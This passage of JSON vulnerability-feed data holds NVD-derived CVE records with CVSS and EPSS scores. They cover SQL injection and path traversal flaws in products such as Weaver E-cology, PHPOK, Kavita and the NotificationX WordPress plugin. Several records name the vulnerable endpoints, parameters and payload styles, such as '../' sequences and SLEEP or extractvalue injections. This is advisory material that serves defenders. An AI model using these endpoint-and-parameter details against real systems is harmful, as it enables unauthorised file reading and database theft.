CVE-2026-111079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-71434","cveId":"CVE-2025-71434","aliases":[],"kind":"vulnerability","title":"Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with...","summary":"Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with srcType=2. Attackers can inject SQL through doc_datefrom/doc_dateto fields and read results via /api/ec/dev/table/counts to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-19.","detail":"Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with srcType=2. Attackers can inject SQL through doc_datefrom/doc_dateto fields and read results via /api/ec/dev/table/counts to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:06.373Z","updatedAt":"2026-10-23T14:17:30.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71434","asOf":"2026-10-23T14:17:30.230Z"},"epss":{"probability":0.00318,"percentile":0.24559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-71434&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-71434","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71434","type":"primary","publishedAt":"2026-10-22T11:17:06.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-71434&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-71434, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-58396","cveId":"CVE-2024-58396","aliases":[],"kind":"vulnerability","title":"YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId...","summary":"YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId parameter. Attackers can send GET requests to /cpasm4/plugInManController/downPlugs with ../ sequences in fileId to retrieve system files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-01-13.","detail":"YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId parameter. Attackers can send GET requests to /cpasm4/plugInManController/downPlugs with ../ sequences in fileId to retrieve system files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-01-13.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:06.203Z","updatedAt":"2026-10-23T22:16:51.653Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-58396","asOf":"2026-10-23T22:16:51.653Z"},"epss":{"probability":0.00498,"percentile":0.42399,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-58396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-58396","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58396","type":"primary","publishedAt":"2026-10-22T11:17:06.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-58396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-58396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-58393","cveId":"CVE-2024-58393","aliases":[],"kind":"vulnerability","title":"i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries...","summary":"i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries through the 'id' parameter. Attackers can send GET requests to /product-details.php with boolean-based, stacked, or time-based SLEEP payloads in 'id' to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-09-14.","detail":"i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries through the 'id' parameter. Attackers can send GET requests to /product-details.php with boolean-based, stacked, or time-based SLEEP payloads in 'id' to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-09-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:05.913Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-58393","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.0027,"percentile":0.1907,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-58393&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-58393","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58393","type":"primary","publishedAt":"2026-10-22T11:17:05.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-58393&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-58393, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-51025","cveId":"CVE-2022-51025","aliases":[],"kind":"vulnerability","title":"Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of...","summary":"Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of /webapi/file/transfer. Attackers can send GET requests with type=db_backup and ../ sequences in name to read files like /etc/passwd, and a hardcoded systemi account makes authentication effectively trivial. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of /webapi/file/transfer. Attackers can send GET requests with type=db_backup and ../ sequences in name to read files like /etc/passwd, and a hardcoded systemi account makes authentication effectively trivial. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:05.593Z","updatedAt":"2026-10-23T22:16:51.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-51025","asOf":"2026-10-23T22:16:51.500Z"},"epss":{"probability":0.00461,"percentile":0.39678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-51025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2022-51025","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-51025","type":"primary","publishedAt":"2026-10-22T11:17:05.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-51025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-51025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-51024","cveId":"CVE-2022-51024","aliases":[],"kind":"vulnerability","title":"Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename...","summary":"Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename parameter. Attackers can send GET requests to /api/image/cover-upload with filename values like ../appsettings.json to retrieve configuration files outside the temp directory. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.","detail":"Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename parameter. Attackers can send GET requests to /api/image/cover-upload with filename values like ../appsettings.json to retrieve configuration files outside the temp directory. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:05.447Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-51024","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00389,"percentile":0.32769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-51024&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2022-51024","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-51024","type":"primary","publishedAt":"2026-10-22T11:17:05.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-51024&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-51024, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-51023","cveId":"CVE-2022-51023","aliases":[],"kind":"vulnerability","title":"PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter.","summary":"PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter. Attackers can send GET requests to /api.php?c=project&f=index with extractvalue payloads in sort to extract database information through error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.","detail":"PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter. Attackers can send GET requests to /api.php?c=project&f=index with extractvalue payloads in sort to extract database information through error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:05.300Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-51023","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00262,"percentile":0.17777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-51023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2022-51023","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-51023","type":"primary","publishedAt":"2026-10-22T11:17:05.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-51023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-51023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-51022","cveId":"CVE-2022-51022","aliases":[],"kind":"vulnerability","title":"YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to...","summary":"YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to read and delete arbitrary files via the filePath parameter. Attackers can send crafted GET requests with directory traversal sequences in filePath and set the delete parameter to read or remove system files like etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.","detail":"YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to read and delete arbitrary files via the filePath parameter. Attackers can send crafted GET requests with directory traversal sequences in filePath and set the delete parameter to read or remove system files like etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:05.153Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-51022","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00794,"percentile":0.56108,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-51022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2022-51022","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-51022","type":"primary","publishedAt":"2026-10-22T11:17:05.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-51022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-51022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-51021","cveId":"CVE-2022-51021","aliases":[],"kind":"vulnerability","title":"NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by...","summary":"NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by supplying an array-form 'id' parameter to /wp-json/notificationx/v1/notification/{id}. Attackers can pass id[1] with crafted SQL, such as time-based SLEEP payloads, along with an api_key derived from md5(home_url()), which flows unsanitized into Database::get_where_query to extract database contents. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.","detail":"NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by supplying an array-form 'id' parameter to /wp-json/notificationx/v1/notification/{id}. Attackers can pass id[1] with crafted SQL, such as time-based SLEEP payloads, along with an api_key derived from md5(home_url()), which flows unsanitized into Database::get_where_query to extract database contents. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:04.990Z","updatedAt":"2026-10-23T22:16:51.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-51021","asOf":"2026-10-23T22:16:51.370Z"},"epss":{"probability":0.00461,"percentile":0.39687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-51021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2022-51021","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-51021","type":"primary","publishedAt":"2026-10-22T11:17:04.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-51021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-51021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48017","cveId":"CVE-2021-48017","aliases":[],"kind":"vulnerability","title":"OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation.","summary":"OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation. Attackers can send GET requests to /pub/bscw.cgi/<id>?op=theme with ../ sequences in style_name to read local files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.","detail":"OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation. Attackers can send GET requests to /pub/bscw.cgi/<id>?op=theme with ../ sequences in style_name to read local files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:04.833Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48017","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00428,"percentile":0.36774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48017","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48017","type":"primary","publishedAt":"2026-10-22T11:17:04.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48015","cveId":"CVE-2021-48015","aliases":[],"kind":"vulnerability","title":"JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter.","summary":"JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter. Attackers can send GET requests to /systemController/showOrDownByurl.do with ../ sequences in dbPath, which bypasses AuthInterceptor, to retrieve files like win.ini. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-17.","detail":"JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter. Attackers can send GET requests to /systemController/showOrDownByurl.do with ../ sequences in dbPath, which bypasses AuthInterceptor, to retrieve files like win.ini. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-17.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 